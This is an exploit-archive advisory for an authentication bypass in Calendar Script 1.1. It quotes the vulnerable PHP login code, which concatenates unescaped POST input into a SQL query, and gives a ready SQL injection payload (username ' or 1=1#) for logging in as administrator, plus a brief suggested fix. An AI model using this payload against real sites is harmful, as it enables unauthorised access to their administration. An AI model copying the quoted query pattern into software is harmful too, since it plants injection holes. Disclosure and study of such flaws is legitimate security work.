Calendar Script 1.1 - Authentication Bypass

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 Calendar Script v1.1 Admin Login Bypass Vulnerability
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 by athos - staker[at]hotmail[dot]it
 http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1

 File Vuln "index.php" (code details)

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 4.  $action = $_POST['action'];
 5.
 6.  switch($action) {
 7.  case 'login':
 8.  // login
 9.  $username = stripslashes(trim($_POST['username']));
 10. $password = sha1(stripslashes(trim($_POST['password'])));
 11.
 12. if(empty($username) || empty($password)) {
 13. // Stop, someone tried entering nothing into here
 14. // Show an error.
 15. $loginMsg = 'You must enter a username and password';
 16. } else {
 17. // The input seems to be ok, check it against the database.
 18. $checkDetails = mysql_query("SELECT id FROM user WHERE username='$username' AND password='$password' LIMIT 1", $conn);

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 Exploit

 http://[host]/[path]/index.php

 (Login) Username: ' or 1=1# & Password: anything

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 Fix: $username = mysql_real_escape_string($_POST['username']);

 Note: works regardless php.ini settings (str0ke =D)
       don't add me on msn messenger

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# milw0rm.com [2008-12-22]